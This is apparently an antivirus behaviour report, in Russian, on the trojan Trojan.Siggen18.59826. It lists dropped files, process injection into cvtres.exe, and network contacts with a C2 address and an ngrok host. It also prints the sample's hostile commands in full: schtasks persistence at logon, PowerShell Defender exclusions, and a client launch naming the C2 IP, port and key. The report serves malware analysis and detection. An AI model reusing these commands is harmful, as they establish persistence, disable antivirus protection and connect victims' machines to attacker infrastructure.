Trojan.Siggen18.59826

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\<Имя файла>

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\g0lvunuw.0.cs
%TEMP%\g0lvunuw.cmdline
%TEMP%\g0lvunuw.out
%TEMP%\csc83803d06c154432bb3a58a4f8a82b65e.tmp
%TEMP%\res9f1c.tmp
%TEMP%\yourphone.exe
%TEMP%\yjhjlypqroouofexr\qxtagosnlezbflqgl.exe
%APPDATA%\temp0923

Удаляет следующие файлы

%TEMP%\res9f1c.tmp
%TEMP%\csc83803d06c154432bb3a58a4f8a82b65e.tmp
%TEMP%\g0lvunuw.out
%TEMP%\g0lvunuw.cmdline
%TEMP%\g0lvunuw.0.cs

Сетевая активность

Подключается к

'15#.#0.99.53':5959
'8b########26-119-229.eu.ngrok.io':443
'ip##fo.io':80
'microsoft.com':80

TCP

Запросы HTTP GET

http://ip##fo.io/ip

Другие

'8b########26-119-229.eu.ngrok.io':443
'15#.#0.99.53':5959

UDP

DNS ASK 8b########26-119-229.eu.ngrok.io
DNS ASK ip##fo.io
DNS ASK microsoft.com

Другое

Ищет следующие окна

ClassName: 'Progman' WindowName: ''
ClassName: 'Proxy Desktop' WindowName: ''
ClassName: 'SystemTray_Main' WindowName: ''
ClassName: 'Media Center Tray Applet' WindowName: ''
ClassName: '' WindowName: 'View Available Networks'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''

Создает и запускает на исполнение

'%TEMP%\yourphone.exe'
'%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\g0lvunuw.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9F1C.tmp" "%TEMP%\CSC83803D06C154432BB3A58A4F8A82B65E.TMP"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' ICARUS_Client 157.90.99.53 5959 txudnCxsJyjvuhpzeemaxpnd' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /k start /b %TEMP%\YourPhone.exe & exit' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "<Имя файла>" /tr '"<Имя файла>.exe"' & exit' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath <Полный путь к файлу> & exit' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR%\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\g0lvunuw.cmdline"
'%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9F1C.tmp" "%TEMP%\CSC83803D06C154432BB3A58A4F8A82B65E.TMP"
'%WINDIR%\explorer.exe'
'%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' ICARUS_Client 157.90.99.53 5959 txudnCxsJyjvuhpzeemaxpnd
'<SYSTEM32>\ctfmon.exe'
'%WINDIR%\syswow64\cmd.exe' /k start /b %TEMP%\YourPhone.exe & exit
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "<Имя файла>" /tr '"<Имя файла>.exe"' & exit
'%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath <Полный путь к файлу> & exit
'%WINDIR%\syswow64\schtasks.exe' /create /f /sc onlogon /rl highest /tn "<Имя файла>" /tr '"<Имя файла>.exe"'
'%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath <Полный путь к файлу>
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
'%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR%\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR%\Microsoft.NET\Framework\v4.0.30319\cvtres.exe